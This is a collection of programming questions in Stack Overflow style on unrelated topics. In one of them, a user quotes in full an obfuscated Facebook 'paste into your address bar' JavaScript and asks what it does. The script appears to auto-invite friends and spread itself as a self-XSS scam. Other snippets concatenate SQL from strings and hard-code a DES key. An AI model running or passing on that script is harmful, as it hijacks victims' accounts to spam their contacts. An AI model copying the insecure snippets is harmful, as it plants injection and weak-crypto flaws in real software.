  The problem/comic in question: http://xkcd.com/287/ I'm not sure this is the best way to do it, but here's what I've come up with so far. I'm using CFML, but it should be readable by anyone. <cffunction name="testCombo" returntype="boolean"> <cfargument name="currentCombo" type="string" required="true" /> <cfargument name="currentTotal" type="numeric" required="true" /> <cfargument name="apps" type="array" required="true" /> <cfset var a = 0 /> <cfset var found = false /> <cfloop from="1" to="#arrayLen(arguments.apps)#" index="a"> <cfset arguments.currentCombo = listAppend(arguments.currentCombo, arguments.apps[a].name) /> <cfset arguments.currentTotal = arguments.currentTotal + arguments.apps[a].cost /> <cfif arguments.currentTotal eq 15.05> <!--- print current combo ---> <cfoutput><strong>#arguments.currentCombo# = 15.05</strong></cfoutput><br /> <cfreturn true /> <cfelseif arguments.currentTotal gt 15.05> <cfoutput>#arguments.currentCombo# > 15.05 (aborting)</cfoutput><br /> <cfreturn false /> <cfelse> <!--- less than 15.05 ---> <cfoutput>#arguments.currentCombo# < 15.05 (traversing)</cfoutput><br /> <cfset found = testCombo(arguments.currentCombo, arguments.currentTotal, arguments.apps) /> </cfif> </cfloop> </cffunction> <cfset mf = {name="Mixed Fruit", cost=2.15} /> <cfset ff = {name="French Fries", cost=2.75} /> <cfset ss = {name="side salad", cost=3.35} /> <cfset hw = {name="hot wings", cost=3.55} /> <cfset ms = {name="moz sticks", cost=4.20} /> <cfset sp = {name="sampler plate", cost=5.80} /> <cfset apps = [ mf, ff, ss, hw, ms, sp ] /> <cfloop from="1" to="6" index="b"> <cfoutput>#testCombo(apps[b].name, apps[b].cost, apps)#</cfoutput> </cfloop> The above code tells me that the only combination that adds up to $15.05 is 7 orders of Mixed Fruit, and it takes 232 executions of my testCombo function to complete. Is there a better algorithm to come to the correct solution? Did I come to the correct solution?

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• From a 3D modeler to an iPhone app - what are best practices?

  - by bonkey

  I am quite new in 3D programming on iPhone and I would like to ask for hints about organizing a work between designers and programmers on that platform. Most of all: what kind of tools, libraries or plugins cooperate the best on both sides. Although I consider the question as looking for general best-practices advice I would like to find a solution for my current situation which I describe further, too. I've already done some research and found following libraries: SIO2 Khronos OpenGL ES 1.x SDK for PowerVR MBX Unity3D Oolong Game Engine I've checked modellers or plugins to them giving output formats readable by those tools: obj2opengl Wavefront OBJ to plain header file converter Blender with SIO2 exporter iphonewavefrontloader Cheetah3D PVRGeoPOD for 3DS / Maya Unfortunately I still have no clear vision how to combine any of that tools to get a desinger's work in an application. I look for a way of getting it in the most possible complete way: models, lights, scenes, textures, maybe some simple animations (but rather no game-like physics), but I still got nothing. And here comes my situation: I would like to find right way to present few (but quite complicated) models from a single scene. The designers mostly use 3DS Max 9, sometimes 10 (which partly prevents using PVRGeoPOD) and are rather reluctant to switch to something else but if there's no other choice I suppose it would be possible. The basic rule I've already found in some places "use Wavefront OBJ" not always works. I haven't got any acceptable results with production files, actually. The only things worked fine were some mere examples. Some of my models did imported incomplete, sometimes exporters hung or generated enormous files not really useful on an iPhone, sometimes enabling textures (with GL_TEXTURE_2D) just crashed an app. I know it might be a problem with too complicated models or my mistakes coming from inexeperience but I am not able to find any guidelines for that process to have streamlined cooperation with designers. I am even willing to write some things from scratch in pure OpenGL-ES if it's necessary, but I would like to avoid what might be avoided and get the most from the model files. The best would be the effect I saw on some SIO2 tutorials: export, build & go. But at that moment I've got only "import, wrong", "import, where are textures?", "import, that almost looks fine, export, hang" and so on... Is it really so much frustrating or I am just missed something obvious? Can anybody share his/her experience in that field and tell what kind of software uses for "making things happen"?

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• How should I provide access to this custom DAL?

  - by Casey

  I'm writing a custom DAL (VB.NET) for an ordering system project. I'd like to explain how it is coded now, and receive some alternate ideas to make coding against the DAL easier/more readable. The DAL is part of an n-tier (not n-layer) application, where each tier is in it's own assembly/DLL. The DAL consists of several classes that have specific behavior. For instance, there is an Order class that is responsible for retrieving and saving orders. Most of the classes have only two methods, a "Get" and a "Save," with multiple overloads for each. These classes are marked as Friend and are only visible to the DAL (which is in it's own assembly). In most cases, the DAL returns what I will call a "Data Object." This object is a class that contains only data and validation, and is located in a common assembly that both the BLL and DAL can read. To provide public access to the DAL, I currently have a static (module) class that has many shared members. A simplified version looks something like this: Public Class DAL Private Sub New End Sub Public Shared Function GetOrder(OrderID as String) as OrderData Dim OrderGetter as New OrderClass Return OrderGetter.GetOrder(OrderID) End Function End Class Friend Class OrderClass Friend Function GetOrder(OrderID as string) as OrderData End Function End Class The BLL would call for an order like this: DAL.GetOrder("123456") As you can imagine, this gets cumbersome very quickly. I'm mainly interested in structuring access to the DAL so that Intellisense is very intuitive. As it stands now, there are too many methods/functions in the DAL class with similar names. One idea I had is to break down the DAL into nested classes: Public Class DAL Private Sub New End Sub Public Class Orders Private Sub New End Sub Public Shared Function Get(OrderID as string) as OrderData End Function End Class End Class So the BLL would call like this: DAL.Orders.Get("12345") This cleans it up a bit, but it leaves a lot of classes that only have references to other classes, which I don't like for some reason. Without resorting to passing DB specific instructions (like where clauses) from BLL to DAL, what is the best or most common practice for providing a single point of access for the DAL?

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• How to create a compiler in vb.net

  - by Cyclone

  Before answering this question, understand that I am not asking how to create my own programming language, I am asking how, using vb.net code, I can create a compiler for a language like vb.net itself. Essentially, the user inputs code, they get a .exe. By NO MEANS do I want to write my own language, as it seems other compiler related questions on here have asked. I also do not want to use the vb.net compiler itself, nor do I wish to duplicate the IDE. The exact purpose of what I wish to do is rather hard to explain, but all I need is a nudge in the right direction for writing a compiler (from scratch if possible) which can simply take input and create a .exe. I have opened .exe files as plain text before (my own programs) to see if I could derive some meaning from what I assumed would be human readable text, yet I was obviously sorely disappointed to see the random ascii, though it is understandable why this is all I found. I know that a .exe file is simply lines of code, being parsed by the computer it is on, but my question here really boils down to this: What code makes up a .exe? How could I go about making one in a plain text editor if I wanted to? (No, I do not want to do that, but if I understand the process my goals will be much easier to achieve.) What makes an executable file an executable file? Where does the logic of the code fit in? This is intended to be a programming question as opposed to a computer question, which is why I did not post it on SuperUser. I know plenty of information about the System.IO namespace, so I know how to create a file and write to it, I simply do not know what exactly I would be placing inside this file to get it to work as an executable file. I am sorry if this question is "confusing", "dumb", or "obvious", but I have not been able to find any information regarding the actual contents of an executable file anywhere. One of my google searches Something that looked promising EDIT: The second link here, while it looked good, was an utter fail. I am not going to waste hours of my time hitting keys and recording the results. "Use the "Alt" and the 3-digit combinations to create symbols that do not appear on the keyboard but that you need in the program." (step 4) How the heck do I know what symbols I need??? Thank you very much for your help, and my apologies if this question is a nooby or "bad" one. To sum this up simply: I want to create a program in vb.net that can compile code in a particular language to a single executable file. What methods exist that can allow me to do this, and if there are none, how can I go about writing my own from scratch?

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• PL/SQL pre-compile and Code Quality checks in an automatted build environment?

  - by Lars Corneliussen

  We build software using Hudson and Maven. We have C#, java and last, but not least PL/SQL sources (sprocs, packages, DDL, crud) For C# and Java we do unit tests and code analysis, but we don't really know the health of our PL/SQL sources before we actually publish them to the target database. Requirements There are a couple of things we wan't to test in the following priority: Are the sources valid, hence "compilable"? For packages, with respect to a certain database, would they compile? Code Quality: Do we have code flaws like duplicates, too complex methods or other violations to a defined set of rules? Also, the tool must run head-less (commandline, ant, ...) we wan't to do analysis on a partial code base (changed sources only) Tools We did a little research and found the following tools that could potencially help: Cast Application Intelligence Platform (AIP): Seems to be a server that grasps information about "anything". Couldn't find a console version that would export in readable format. Toad for Oracle: The Professional version is said to include something called Xpert validates a set of rules against a code base. Sonar + PL/SQL-Plugin: Uses Toad for Oracle to display code-health the sonar-way. This is for browsing the current state of the code base. Semantic Designs DMSToolkit: Quite general analysis of source code base. Commandline available? Semantic Designs Clones Detector: Detects clones. But also via command line? Fortify Source Code Analyzer: Seems to be focussed on security issues. But maybe it is extensible? more... So far, Toad for Oracle together with Sonar seems to be an elegant solution. But may be we are missing something here? Any ideas? Other products? Experiences? Related Questions on SO: http://stackoverflow.com/questions/531430/any-static-code-analysis-tools-for-stored-procedures http://stackoverflow.com/questions/839707/any-code-quality-tool-for-pl-sql http://stackoverflow.com/questions/956104/is-there-a-static-analysis-tool-for-python-ruby-sql-cobol-perl-and-pl-sql

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• Xcache - No different after using it

  - by Charles Yeung

  Hi I have installed Xcache in my site(using xampp), I have tested more then 10 times on several page and the result is same as default(no any cache installed), is it something wrong with the configure? Updated [xcache-common] ;; install as zend extension (recommended), normally "$extension_dir/xcache.so" zend_extension = /usr/local/lib/php/extensions/non-debug-non-zts-xxx/xcache.so zend_extension_ts = /usr/local/lib/php/extensions/non-debug-zts-xxx/xcache.so ;; For windows users, replace xcache.so with php_xcache.dll zend_extension_ts = C:\xampp\php\ext\php_xcache.dll ;; or install as extension, make sure your extension_dir setting is correct ; extension = xcache.so ;; or win32: ; extension = php_xcache.dll [xcache.admin] xcache.admin.enable_auth = On xcache.admin.user = "mOo" ; xcache.admin.pass = md5($your_password) xcache.admin.pass = "" [xcache] ; ini only settings, all the values here is default unless explained ; select low level shm/allocator scheme implemenation xcache.shm_scheme = "mmap" ; to disable: xcache.size=0 ; to enable : xcache.size=64M etc (any size > 0) and your system mmap allows xcache.size = 60M ; set to cpu count (cat /proc/cpuinfo |grep -c processor) xcache.count = 1 ; just a hash hints, you can always store count(items) > slots xcache.slots = 8K ; ttl of the cache item, 0=forever xcache.ttl = 0 ; interval of gc scanning expired items, 0=no scan, other values is in seconds xcache.gc_interval = 0 ; same as aboves but for variable cache xcache.var_size = 4M xcache.var_count = 1 xcache.var_slots = 8K ; default ttl xcache.var_ttl = 0 xcache.var_maxttl = 0 xcache.var_gc_interval = 300 xcache.test = Off ; N/A for /dev/zero xcache.readonly_protection = Off ; for *nix, xcache.mmap_path is a file path, not directory. ; Use something like "/tmp/xcache" if you want to turn on ReadonlyProtection ; 2 group of php won't share the same /tmp/xcache ; for win32, xcache.mmap_path=anonymous map name, not file path xcache.mmap_path = "/dev/zero" ; leave it blank(disabled) or "/tmp/phpcore/" ; make sure it's writable by php (without checking open_basedir) xcache.coredump_directory = "" ; per request settings xcache.cacher = On xcache.stat = On xcache.optimizer = Off [xcache.coverager] ; per request settings ; enable coverage data collecting for xcache.coveragedump_directory and xcache_coverager_start/stop/get/clean() functions (will hurt executing performance) xcache.coverager = Off ; ini only settings ; make sure it's readable (care open_basedir) by coverage viewer script ; requires xcache.coverager=On xcache.coveragedump_directory = "" Thanks you

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• Can't read excel file after creating it using File.WriteAllText() function

  - by Srikanth Mattihalli

  public void ExportDataSetToExcel(DataTable dt) { HttpResponse response = HttpContext.Current.Response; response.Clear(); response.Charset = "utf-8"; response.ContentEncoding = Encoding.GetEncoding("utf-8"); response.ContentType = "application/vnd.ms-excel"; Random Rand = new Random(); int iNum = Rand.Next(10000, 99999); string extension = ".xls"; string filenamepath = AppDomain.CurrentDomain.BaseDirectory + "graphs\\" + iNum + ".xls"; string file_path = "graphs/" + iNum + extension; response.AddHeader("Content-Disposition", "attachment;filename=\"" + iNum + "\""); string query = "insert into graphtable(graphtitle,graphpath,creategraph,year) VALUES('" + iNum.ToString() + "','" + file_path + "','" + true + "','" + DateTime.Now.Year.ToString() + "')"; try { int n = connect.UpdateDb(query); if (n > 0) { resultLabel.Text = "Merge Successfull"; } else { resultLabel.Text = " Merge Failed"; } resultLabel.Visible = true; } catch { } using (StringWriter sw = new StringWriter()) { using (HtmlTextWriter htw = new HtmlTextWriter(sw)) { // instantiate a datagrid DataGrid dg = new DataGrid(); dg.DataSource = dt; //ds.Tables[0]; dg.DataBind(); dg.RenderControl(htw); File.WriteAllText(filenamepath, sw.ToString()); // File.WriteAllText(filenamepath, sw.ToString(), Encoding.UTF8); response.Write(sw.ToString()); response.End(); } } } Hi all, I have created an excel sheet from datatable using above function. I want to read the excel sheet programatically using the below connectionstring. This string works fine for all other excel sheets but not for the one i created using the above function. I guess it is because of excel version problem. OleDbConnection conn= new OleDbConnection("Data Source='" + path +"';provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;";); Can anyone suggest a way by which i can create an excel sheet such that it is readable again using above query. I cannot use Microsoft InterOp library as it is not supported by my host.

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• Algorithm for finding symmetries of a tree

  - by Paxinum

  I have n sectors, enumerated 0 to n-1 counterclockwise. The boundaries between these sectors are infinite branches (n of them). The sectors live in the complex plane, and for n even, sector 0 and n/2 are bisected by the real axis, and the sectors are evenly spaced. These branches meet at certain points, called junctions. Each junction is adjacent to a subset of the sectors (at least 3 of them). Specifying the junctions, (in pre-fix order, lets say, starting from junction adjacent to sector 0 and 1), and the distance between the junctions, uniquely describes the tree. Now, given such a representation, how can I see if it is symmetric wrt the real axis? For example, n=6, the tree (0,1,5)(1,2,4,5)(2,3,4) have three junctions on the real line, so it is symmetric wrt the real axis. If the distances between (015) and (1245) is equal to distance from (1245) to (234), this is also symmetric wrt the imaginary axis. The tree (0,1,5)(1,2,5)(2,4,5)(2,3,4) have 4 junctions, and this is never symmetric wrt either imaginary or real axis, but it has 180 degrees rotation symmetry if the distance between the first two and the last two junctions in the representation are equal. Edit: This is actually for my research. I have posted the question at mathoverflow as well, but my days in competition programming tells me that this is more like an IOI task. Code in mathematica would be excellent, but java, python, or any other language readable by a human suffices. Here are some examples (pretend the double edges are single and we have a tree) http://www2.math.su.se/~per/files.php?file=contr_ex_1.pdf http://www2.math.su.se/~per/files.php?file=contr_ex_2.pdf http://www2.math.su.se/~per/files.php?file=contr_ex_5.pdf Example 1 is described as (0,1,4)(1,2,4)(2,3,4)(0,4,5) with distances (2,1,3). Example 2 is described as (0,1,4)(1,2,4)(2,3,4)(0,4,5) with distances (2,1,1). Example 5 is described as (0,1,4,5)(1,2,3,4) with distances (2). So, given the description/representation, I want to find some algorithm to decide if it is symmetric wrt real, imaginary, and rotation 180 degrees. The last example have 180 degree symmetry. (These symmetries corresponds to special kinds of potential in the Schroedinger equation, which has nice properties in quantum mechanics.)

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• What exactly dose this piece of JavaScript do ?

  - by helpmarnie

  ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. simply put, What dose this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))} )();

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• Default encoding type for wsHttp binding

  - by user102533

  My understanding was that the default encoding for wsHttp binding is text. However, when I use Fiddler to see the SOAP message, a part of it looks like this: <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"><s:Header><a:Action s:mustUnderstand="1" u:Id="_2">http://tempuri.org/Services/MyContract/GetDataResponse</a:Action><a:RelatesTo u:Id="_3">urn:uuid:503c5525-f585-4ecd-ac09-24db78526952</a:RelatesTo><o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"><u:Timestamp u:Id="uuid-8935f789-fbb7-4c69-9f67-7708373088c5-22"><u:Created>2010-03-08T19:15:50.852Z</u:Created><u:Expires>2010-03-08T19:20:50.852Z</u:Expires></u:Timestamp><c:DerivedKeyToken u:Id="uuid-8935f789-fbb7-4c69-9f67-7708373088c5-18" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc"><o:SecurityTokenReference><o:Reference URI="urn:uuid:b2cbfe07-8093-4f44-8a06-f8b062291643" ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/sct"/></o:SecurityTokenReference><c:Offset>0</c:Offset><c:Length>24</c:Length><c:Nonce>afOoDygRG7BW+q8+makVIA==</c:Nonce></c:DerivedKeyToken><c:DerivedKeyToken u:Id="uuid-8935f789-fbb7-4c69-9f67-7708373088c5-19" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc"><o:SecurityTokenReference><o:Reference URI="urn:uuid:b2cbfe07-8093-4f44-8a06-f8b062291643" ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/sct"/></o:SecurityTokenReference><c:Nonce>l4rFsdYKLJTK4tgUWrSBRw==</c:Nonce></c:DerivedKeyToken><e:ReferenceList xmlns:e="http://www.w3.org/2001/04/xmlenc#"><e:DataReference URI="#_1"/><e:DataReference URI="#_4"/></e:ReferenceList><e:EncryptedData Id="_4" Type="http://www.w3.org/2001/04/xmlenc#Element" xmlns:e="http://www.w3.org/2001/04/xmlenc#"><e:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/><KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"><o:SecurityTokenReference><o:Reference ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/dk" URI="#uuid-8935f789-fbb7-4c69-9f67-7708373088c5-19"/></o:SecurityTokenReference></KeyInfo><e:CipherData><e:CipherValue>dW8B7wGV9tYaxM5ADzY6UuEgB5TFzdy4BZjOtF0NEbHyNevCIAVHMoyA69U4oUjQHMJD5nHS0N4tnJqfJkYellKlpFZcwqruJ1J/TFx9uwLFFAwZ+dSfkDqgKu/1MFzVSY8eyeYKmbPbVEYOHr0lhw3+7wn5NQr3yxvCjlucTAdklIhD72YnVlSVapOW3zgysGt5hStyj+bmIz5hLGyyv6If4HzWjUiru8V3iMM/ss1I+i9sJOD013kr4zaaA937CN9+/aZ2wbDXnYj31UX49uE/vvt9Tl+c4SiydbiX7tp1eNSTx9Ms5O64gb3aUmHEAYOJ19XCrr756ssFZtaE7QOAoPQkFbx9zXy0mb9j1YoPQNG+JAcrN0yoRN1klhccmY+csfYXdq7YBB/KS+u2WnUjQ7SlNFy5qIPxuy5y0Jyedr2diPKLi0gUi+cK49BLQtG/XEShtxFaeMy7zZTrQADxww7kEkhvtmAlmyRbz3oGc+ This doesn't look like text encoding to me (Shouldn't text encoding send data in readable form)? What am I missing? Also, how do I setup binary encoding for wsHttp binding?

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• Python. How to iterate through a list of lists looking for a partial match

  - by Becca Millard

  I'm completely stuck on this, without even an idea about how to wrap my head around the logic of this. In the first half of the code, I have successfully generation a list of (thousands of) lists of players names and efficiency scores: eg name_order_list = [["Bob", "Farley", 12.345], ["Jack", "Donalds", 14.567], ["Jack", "Donalds", 13.421], ["Jack", "Donalds", 15.232],["Mike", "Patricks", 10.543]] What I'm trying to do, is come up with a way to make a list of lists of the average efficiency of each player. So in that example, Jack Donalds appears multiple times, so I'd want to recognize his name somehow and average out the efficiency scores. Then sort that new list by efficiency, rather than name. So then the outcome would be like: average_eff_list = [[12.345, "Bob", "Farley"], [14.407, "Jack", "Donalds"], [10.543, "Mike", "Patricks"]] Here's what I tried (it's kind of a mess, but should be readable): total_list = [] odd_lines = [name_order_list[i] for i in range(len(name_order_list)) if i % 2 == 0] even_lines = [name_order_list[i] for i in range(len(name_order_list)) if i % 2 == 1] i = 0 j = i-1 while i <= 10650: iteration = 2 total_eff = 0 while odd_lines[i][0:2] == even_lines[i][0:2]: if odd_lines[i][0:2] == even_lines[j][0:2]: if odd_lines[j][0:2] != even_lines[j][0:2]: total_eff = even_lines[j][2]/(iteration-1) iteration -= 1 #account fr the single (rather than dual) additional entry else: total_eff = total_eff if iteration == 2: total_eff = (odd_lines[i][2] + even_lines[i][2]) / iteration else: total_eff = ((total_eff * (iteration - 2)) + (odd_lines[i][2] + even_lines[i][2])) / iteration iteration += 2 i += 1 j += 1 if i > 10650: break else: if odd_lines[i][0:2] == even_lines[j][0:2]: if odd_lines[j][0:2] != even_lines[j][0:2]: total_eff = (odd_lines[i][2] + even_lines[j][2]) / iteration else: total_eff = ((total_eff * (iteration -2)) + odd_lines[i][2]) / (iteration - 1) if total_eff == 0: #there's no match at all total_odd = [odd_lines[i][2], odd_lines[i][0], odd_lines[i][1]] total_list.append(total_odd) if even_lines[i][0:2] != odd_lines[i+1][0:2]: total_even = [even_lines[i][2], even_lines[i][0], even_lines[i][1]] else: total = [total_eff, odd_lines[i][0], odd_lines[i][1]] total_list.append(total) i += 1 if i > 10650: break else: print(total_list) Now, this runs well enough (doesn't get stuck or print someone's name multiple times) but the efficiency values are off by a large amount, so I know that scores are getting missed somewhere. This is a problem with my logic, I think, so any help would be greatly appreciated. As would any advice about how to loop through that massive list in a smarter way, since I'm sure there is one... EIDT: for this exercise, I need to keep it all in a list format. I can make new lists, but no using dictionaries, classes, etc.

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• When is ¦ not equal to ¦?

  - by Trey Jackson

  Background. I'm working with netlists, and in general, people specify different hierarchies by using /. However, it's not illegal to actually use a / as a part of an instance name. For example, X1/X2/X3/X4 might refer to instance X4 inside another instance named X1/X2/X3. Or it might refer an instance named X3/X4 inside an instance named X2 inside an instance named X1. Got it? There's really no "regular" character that cannot be used as a part of an instance name, so you resort to a non-printable one, or ... perhaps one outside of the standard 0..127 ASCII chars. I thought I'd try (decimal) 166, because for me it shows up as the pipe: ¦. So... I've got some C++ code which constructs the path name using ¦ as the hierarchical separator, so the path above looks like X1¦X2/X3¦X4. Now the GUI is written in Tcl/Tk, and to properly translate this into human readable terms I need to do something like the following: set path [getPathFromC++] ;# returns X1¦X2/X3¦X4 set humanreadable [join [split $path ¦] /] Basically, replace the ¦ with / (I could also accomplish this with [string map]). Now, the problem is, the ¦ in the string I get from C++ doesn't match the ¦ I can create in Tcl. i.e. This fails: set path [getPathFromC++] ;# returns X1¦X2/X3¦X4 string match $path [format X1%cX2/X3%cX4 166 166] Visually, the two strings look identical, but string match fails. I even tried using scan to see if I'd mixed up the bit values. But set path [getPathFromC++] ;# returns X1¦X2/X3¦X4 set path2 [format X1%cX2/X3%cX4 166 166] for {set i 0} {$i < [string length $path]} {incr i} { set p [string range $path $i $i] set p2 [string range $path2 $i $i] scan %c $p c scan %c $p2 c2 puts [list $p $c :::: $p2 $c2 equal? [string equal $c $c2]] } Produces output which looks like everything should match, except the [string equal] fails for the ¦ characters with a print line: ¦ 166 :::: ¦ 166 equal? 0 For what it's worth, the character in C++ is defined as: const char SEPARATOR = 166; Any ideas why a character outside the regular ASCII range would fail like this? When I changed the separator to (decimal) 28 (^\), things worked fine. I just don't want to get bit by a similar problem on a different platform. (I'm currently using Redhat Linux).

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• File sizing issue in DOS/FAT

  - by Heather

  I've been tasked with writing a data collection program for a Unitech HT630, which runs a proprietary DOS operating system that can run executables compiled for 16-bit MS DOS with some restrictions. I'm using the Digital Mars C/C++ compiler, which is working well thus far. One of the application requirements is that the data file must be human-readable plain text, meaning the file can be imported into Excel or opened by Notepad. I'm using a variable length record format much like CSV that I've successfully implemented using the C standard library file I/O functions. When saving a record, I have to calculate whether the updated record is larger or smaller than the version of the record currently in the data file. If larger, I first shift all records immediately after the current record forward by the size difference calculated before saving the updated record. EOF is extended automatically by the OS to accommodate the extra data. If smaller, I shift all records backwards by my calculated offset. This is working well, however I have found no way to modify the EOF marker or file size to ignore the data after the end of the last record. Most of the time records will grow in size because the data collection program will be filling some of the empty fields with data when saving a record. Records will only shrink in size when a correction is made on an existing entry, or on a normal record save if the descriptive data in the record is longer than what the program reads in memory. In the situation of a shrinking record, after the last record in the file I'm left with whatever data was sitting there before the shift. I have been writing an EOF delimiter into the file after a "shrinking record save" to signal where the end of my records are and space-filling the remaining data, but then I no longer have a clean file until a "growing record save" extends the size of the file over the space-filled area. The truncate() function in unistd.h does not work (I'm now thinking this is for *nix flavors only?). One proposed solution I've seen involves creating a second file and writing all the data you wish to save into that file, and then deleting the original. Since I only have 4MB worth of disk space to use, this works if the file size is less than 2MB minus the size of my program executable and configuration files, but would fail otherwise. It is very likely that when this goes into production, users would end up with a file exceeding 2MB in size. I've looked at Ralph Brown's Interrupt List and the interrupt reference in IBM PC Assembly Language and Programming and I can't seem to find anything to update the file size or similar. Is reducing a file's size without creating a second file even possible in DOS?

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• How to encrypt and save a binary stream after serialization and read it back?

  - by Anindya Chatterjee

  I am having some problems in using CryptoStream when I want to encrypt a binary stream after binary serialization and save it to a file. I am getting the following exception System.ArgumentException : Stream was not readable. Can anybody please show me how to encrypt a binary stream and save it to a file and deserialize it back correctly? The code is as follows: class Program { public static void Main(string[] args) { var b = new B {Name = "BB"}; WriteFile<B>(@"C:\test.bin", b, true); var bb = ReadFile<B>(@"C:\test.bin", true); Console.WriteLine(b.Name == bb.Name); Console.ReadLine(); } public static T ReadFile<T>(string file, bool decrypt) { T bObj = default(T); var _binaryFormatter = new BinaryFormatter(); Stream buffer = null; using (var stream = new FileStream(file, FileMode.OpenOrCreate)) { if(decrypt) { const string strEncrypt = "*#4$%^.++q~!cfr0(_!#$@$!&#&#*&@(7cy9rn8r265&$@&*E^184t44tq2cr9o3r6329"; byte[] dv = {0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF}; CryptoStream cs; DESCryptoServiceProvider des = null; var byKey = Encoding.UTF8.GetBytes(strEncrypt.Substring(0, 8)); using (des = new DESCryptoServiceProvider()) { cs = new CryptoStream(stream, des.CreateEncryptor(byKey, dv), CryptoStreamMode.Read); } buffer = cs; } else buffer = stream; try { bObj = (T) _binaryFormatter.Deserialize(buffer); } catch(SerializationException ex) { Console.WriteLine(ex.Message); } } return bObj; } public static void WriteFile<T>(string file, T bObj, bool encrypt) { var _binaryFormatter = new BinaryFormatter(); Stream buffer; using (var stream = new FileStream(file, FileMode.Create)) { try { if(encrypt) { const string strEncrypt = "*#4$%^.++q~!cfr0(_!#$@$!&#&#*&@(7cy9rn8r265&$@&*E^184t44tq2cr9o3r6329"; byte[] dv = {0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF}; CryptoStream cs; DESCryptoServiceProvider des = null; var byKey = Encoding.UTF8.GetBytes(strEncrypt.Substring(0, 8)); using (des = new DESCryptoServiceProvider()) { cs = new CryptoStream(stream, des.CreateEncryptor(byKey, dv), CryptoStreamMode.Write); buffer = cs; } } else buffer = stream; _binaryFormatter.Serialize(buffer, bObj); buffer.Flush(); } catch(SerializationException ex) { Console.WriteLine(ex.Message); } } } } [Serializable] public class B { public string Name {get; set;} } It throws the serialization exception as follows The input stream is not a valid binary format. The starting contents (in bytes) are: 3F-17-2E-20-80-56-A3-2A-46-63-22-C4-49-56-22-B4-DA ...

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• Overwhelmed by design patterns... where to begin?

  - by Pete

  I am writing a simple prototype code to demonstrate & profile I/O schemes (HDF4, HDF5, HDF5 using parallel IO, NetCDF, etc.) for a physics code. Since focus is on IO, the rest of the program is very simple: class Grid { public: floatArray x,y,z; }; class MyModel { public: MyModel(const int &nip1, const int &njp1, const int &nkp1, const int &numProcs); Grid grid; map<string, floatArray> plasmaVariables; }; Where floatArray is a simple class that lets me define arbitrary dimensioned arrays and do mathematical operations on them (i.e. x+y is point-wise addition). Of course, I could use better encapsulation (write accessors/setters, etc.), but that's not the concept I'm struggling with. For the I/O routines, I am envisioning applying simple inheritance: Abstract I/O class defines read & write functions to fill in the "myModel" object HDF4 derived class HDF5 HDF5 using parallel IO NetCDF etc... The code should read data in any of these formats, then write out to any of these formats. In the past, I would add an AbstractIO member to myModel and create/destroy this object depending on which I/O scheme I want. In this way, I could do something like: myModelObj.ioObj->read('input.hdf') myModelObj.ioObj->write('output.hdf') I have a bit of OOP experience but very little on the Design Patterns front, so I recently acquired the Gang of Four book "Design Patterns: Elements of Reusable Object-Oriented Software". OOP designers: Which pattern(s) would you recommend I use to integrate I/O with the myModel object? I am interested in answering this for two reasons: To learn more about design patterns in general Apply what I learn to help refactor an large old crufty/legacy physics code to be more 